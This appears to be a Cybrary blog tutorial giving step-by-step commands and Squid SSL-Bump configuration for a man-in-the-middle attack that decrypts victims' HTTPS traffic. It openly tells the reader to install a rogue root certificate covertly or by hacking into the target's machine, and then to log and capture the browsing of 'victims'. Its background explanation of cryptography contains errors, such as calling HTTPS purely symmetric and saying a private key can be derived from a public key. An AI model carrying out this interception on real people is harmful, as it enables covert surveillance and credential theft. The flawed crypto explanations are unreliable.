Practical SSL/TLS Attacks and Decrypting Web Traffic

March 15, 2019 | Views: 4518

Begin Learning Cyber Security for FREE Now!

FREE REGISTRATIONAlready a Member Login Here

Introduction: Practical SSL/TLS Attacks and Decrypting Web Traffic

 

Chang Tan

changtan@listerunlimited.com

For the purposes of this chapter, both the terms SSL (Secure Sockets Layer) and TLS (Transport Layer Security) shall be used interchangably to explain the same thing, that is the end-to-end encryption scheme that secures modern day HTTPS implementations via TLS.

 

A lot of people know the consequences of compromised credentials but fail to put that knowledge into practice by successfully simulating a mitm-attack and reusing known credentials to decrypt seemingly unbreakable ciphertext. In this example, the author will go over at a minimum, five different methods to decrypt SSL/TLS traffic.

 

Basics of HTTPS

 

HTTPS is basically the same as HTTP but with a additional TLS layer involved to keep the traffic encrypted. It uses a system of trust and Certificate Authorities to assure users that the credentials are in fact, legitimate. By having the user sign the certificate, it effectively binds that user to the key itself.

 

Secure Sockets Layer has been obsoleted for years, and Transport Layer Security has taken over the reins as the de-facto standard for HTTPS for the majority of webservers. However, most still refer TLS as “SSL” and many treat it as if it were the same exact thing. The important fact is, TLS is still viable now, and SSL is not.

 

HTTPS or “HTTP over TLS” is known as a symmetric encryption standard, while it’s key-exchange and handshake is known to be assymetric. To best explain the difference between symmetric and assymetric encryption, in general (1) Symmetric is faster on networks and takes less effort to decrypt, (2) Assymetric encryption tends to be stronger but more cumbersome to encrypt/decrypt.

 

Symmetric encryption uses a simple originating private key. That same key used to encode the message is the same key that will decode it. If you killed the messenger bearing the key and also killed the messenger bearing the message, you now can decrypt the message.

 

Assymetric encryption uses a system of private and public keys. And only the OPPOSITE key is able to decrypt it, for example a message signed by the private key can only be decrypted by the PUBLIC key.

 

Assymetric encryption provides additional layers of security by forcing both parties to prove themselves to be the legitimate authors and intended recipients of the message, because only the public key can be derived from the original private key and vice versa. However it is naturally assumed that the public key is to be shared while both messaging parties hold on to their private keys.

 

And for that reason, assymetric encryption is widely chosen to securely transmit the private symmetric key over the wire via techniques such as handshakes, convoluted authentication methods, and standard textbook methods such as the Diffie-Hellman Exchange. The assymetric encryption often uses a trusted Certificate Authority preinstalled on your phone or laptop to generate the proper session keys to allow the symmetric key to pass through safely and securely over the internet.

In this episode, we will teach you how to directly attack this standard in real time to demonstrate the vices from overextension of trust. How to eavesdrop and capture and process encrypted traffic to have it decrypted.

 

The Squid SSL-Bump Method, with a rogue hotspot

 

The Squid SSL-Bump Method seems to be the most favored, and it allows for the seamless passage, regeneration of, and signing of new certificates from a single originating root key automatically to create the impression of a legitimately functioning HTTPS sessions. By itself, it boasts the following features

 

  1. A Reversed Intercept-Proxy that supports SSL/TLS
  2. Does not require generation of client and server-side certificates, keys, and credential bundles.
  3. Can interact with a ICAP server to permit automatic injection/modification of traffic
  4. Effective logging of HTTPS activity
  5. Can be configured to log and store cached content of victims browsing the internet through your attack proxy

 

A proxy acts “in reverse” if it (1) Serves as a “proxy” service for a much larger domain/host/webservice (2) Retrieves content on behalf of the requestor from another service directly behind it.

 

Modern webservers are often a “Reversed Proxy”, for example, a Nginx server is listening on ports 80 and 443, and automatically routes sessions on port 80 to 443 to take advantage of HTTPS, and then from port 443, makes requests to a Apache webserver that is sitting right behind it, that may have many more exposed ports listening that the webmaster does not want to expose to the public internet. In this case,

 

Nginx localhost:443 acts as a reversed proxy to a multitude of services listening on Apache. A web app developer can have specially crafted headers from HTTP GET and POST requests to help differentiate what service is requested from the more exposed Apache webserver behind it. The reversed proxy helps reduce bandwidth overhead, and reduce the attack surface of it’s public domain because the only open port detectable from the outside is the Nginx listener on ports 80 and 443. The attacker literally has to guess the request parameters to continue it’s reconnaissance of a potentially vulnerable webserver as a web application penetration tester.

 

The information gained from using the SSL-Bump feature of Squid is short, brief and quick, albeit there are extensive options to intercept and modify traffic automatically before sending it back to the intended host.

 

# Generate a root key and a browser-installable client certificate

 

You do not need to generate the client and server side certificates and key pairs, these will be auto-generated by the Squid proxy itself as time passes by. However you do need to generate and hand out a copy of the myCA.der credentials to each targeted victim to be installed on their web browser.

 

To successfully capture and decrypt the TLS 1.2 transmissions, we need to hand out credentials that originated from a single, known and compromised keyfile. We need to make sure that our victims trust us and would willingly install the certificate on their home web browsers. Or if their machines have already been compromised and thus ripe for manual configuration.

 

Generate a root Certificate Authority Keyfile called myCA.pem

 

cd /etc/squid
mkdir ssl_cert
chown squid:squid -R ssl_cert
chmod 700 ssl_cert
cd ssl_cert
openssl req -new -newkey rsa:2048 -sha256 -days 365 -nodes -x509 -extensions v3_ca -keyout myCA.pem  -out myCA.pem

 

Then generate the mandatory browser-installable client certificate and then distribute this certificate to your victims, or install it covertly.

 

openssl x509 -in myCA.pem -outform DER -out myCA.der

 

# Install the latest version of Squid and self-compile it with the correct parameters

 

You cannot install Squid from the APT repo. You MUST configure Squid prior to compilation with options ‘–with-openssl’, ‘–enable-ssl-crtd’, and ‘–prefix=/usr/local/squid’

 

Note that this will not disrupt or break any currently installed versions of Squid, What you will end up with is having two distinct versions of Squid, the one that is currently installed on your PC, and a newer, customized one that can perform the SSL-Bump attack via the man-in-the-middle-method.

 

Get the newest version of Squid in it’s source code format, ready for compilation.

 

wget http://www.squid-cache.org/Versions/v4/squid-4.5.tar.gz
tar -xvzf squid-4.5.tar.gz
cd squid-4.5

 

Now compile Squid with our special options

 

./configure --with-openssl --enable-ssl-crtd --prefix=/usr/local/squid
make
make all
make install

 

This will take a while but by the end of it, you will have two directories, a /etc/squid/ssl-cert directory for the credentials, and a /usr/local/squid directory that represents your bleeding-edge version of Squid that can mitm attack gullible clients and functions as a reversed intercept-proxy.

 

Now deactivate the command-line launcher for the old Squid by renaming it.

 

oldlauncher=$(which squid)
mv $oldlauncher $oldlauncher.save

 

Then add a new launcher command by creating a symbolic link to Squid 4.5’s binary.

 

ln -s /usr/local/squid/sbin/squid /usr/local/bin/squid

 

# Initialize the TLS Cached Directory

 

/usr/local/squid/libexec/security_file_certgen -c -s /var/lib/ssl_db -M 4MB
chown squid:squid -R /var/lib/ssl_db

 

# And lets configure the Squid configuration for it's first startup as a reversed intercept-proxy

 

Edit the configuration file, noting the CORRECT configuration is in Squid’s new installation directory, nano /usr/local/squid/etc/squid.conf

 

And add the following lines to the bottom of the text file.

 

acl SSL_ports port 443
acl CONNECT method CONNECT
acl manager proto cache_object
http_access deny !Safe_ports
http_access deny CONNECT !SSL_ports
http_access allow localhost manager
http_access deny manager
http_access allow localnet
http_access allow localhost
http_access deny all
http_port 3128
cache_dir ufs /usr/local/squid/var/cache/squid 100 16 256
coredump_dir /usr/local/squid/var/cache/squid
refresh_pattern ^ftp:		1440	20%	10080
refresh_pattern ^gopher:	1440	0%	1440
refresh_pattern -i (/cgi-bin/|?) 0	0%	0
refresh_pattern -i .(gif|png|jpg|jpeg|ico)$ 10080 90% 43200 override-expire ignore-no-cache ignore-no-store ignore-private
refresh_pattern -i .(iso|avi|wav|mp3|mp4|mpeg|swf|flv|x-flv)$ 43200 90% 432000 override-expire ignore-no-cache ignore-no-store ignore-private
refresh_pattern -i .(deb|rpm|exe|zip|tar|tgz|ram|rar|bin|ppt|doc|tiff)$ 10080 90% 43200 override-expire ignore-no-cache ignore-no-store ignore-private
refresh_pattern -i .index.(html|htm)$ 0 40% 10080
refresh_pattern -i .(html|htm|css|js)$ 1440 40% 40320
refresh_pattern -i youtube.com/.* 10080 90% 43200
refresh_pattern (/cgi-bin/|?) 0 0% 0
refresh_pattern .		0	20%	4320
http_port 3128 ssl-bump 
  cert=/etc/squid/ssl_cert/myCA.pem 
  generate-host-certificates=on dynamic_cert_mem_cache_size=4MB
sslcrtd_program /usr/local/squid/libexec/security_file_certgen -s /var/lib/ssl_db -M 4MB
acl step1 at_step SslBump1
ssl_bump peek all
ssl_bump stare all
ssl_bump bump all
cache allow all
access_log stdio:/usr/local/squid/var/logs/access.log combined
cache_store_log stdio:/usr/local/squid/var/logs/store.log
cache_log stdio:/usr/local/squid/var/logs/cache.log

 

For Kali Linux users, it is better to change the entire install path into belonging to “nobody” because the installer fails to create a “squid” user on install and there is system-level root replacing user permissions. This could seriously disrupt proper operation of Squid, particularly logging of HTTP and SSL CONNECT/GET/POST requests, so make sure you either (1) add a user name squid with useradd squid and then change its permissions to be sudo-capable usermod -aG sudo squid && chown squid:squid -R /usr/local/squid or (2) Change the entire installation path over to nobody chown nobody:nobody -R /usr/local/squid.

 

# Finally, you must add the necessary proxy settings into Firefox to get it to use Squid as a proxy.

 

This involves you hacking into their machine (or getting your hands on it while their heads are turned), and adding 192.168.0.14:3128 as the sole proxy provider for HTTP/SOCKS/ALL methods in Firefox, and to install the browser-installable certificate myCA.der.

Or from Firefox itself, click on the hamburger icon on the top right, select Preferences, then General and then Network Proxy Settings, check Manual Proxy Configuration and set HTTP Proxy to 127.0.0.1 and Port to 3128 and select okay.

 

# Finished

 

Now start up Squid on the attacker machine.

 

squid -d 10 && tail -f /usr/local/squid/var/logs/access.log

 

 

At this point, whenever someone on that machine attempts to use the browser, its web activity is automatically logged into /usr/local/squid/var/logs/access.log, including type of HTTP request, types of content downloaded, hostname and domain that the victim requested, etc.

 

 

You can view files in real time being downloaded off the wire, tail -f /usr/local/squid/var/logs/store.log.

 

 

 

# Capturing unprotected traffic from Squid

 

The traffic between the Squid server and client is a unencrypted localhost-to-localhost interaction. It can be intercepted and copied by this command, tcpdump -s 0 -i any -w /root/test.pcap port 3128 -vv

 

When opened via Wireshark or via tshark -r capture.pcap -z expert -q you should see content that was uncovered, intercepted, and cached by Squid.

Share with Friends
FacebookTwitterLinkedInEmail
Use Cybytes and
Tip the Author!
Join
Share with Friends
FacebookTwitterLinkedInEmail
Ready to share your knowledge and expertise?
Comment on This

You must be logged in to post a comment.

Our Revolution

We believe Cyber Security training should be free, for everyone, FOREVER. Everyone, everywhere, deserves the OPPORTUNITY to learn, begin and grow a career in this fascinating field. Therefore, Cybrary is a free community where people, companies and training come together to give everyone the ability to collaborate in an open source way that is revolutionizing the cyber security educational experience.

Cybrary On The Go

Get the Cybrary app for Android for online and offline viewing of our lessons.

Get it on Google Play
 

Support Cybrary

Donate Here to Get This Month's Donor Badge

 
Skip to toolbar

We recommend always using caution when following any link

Are you sure you want to continue?

Continue
Cancel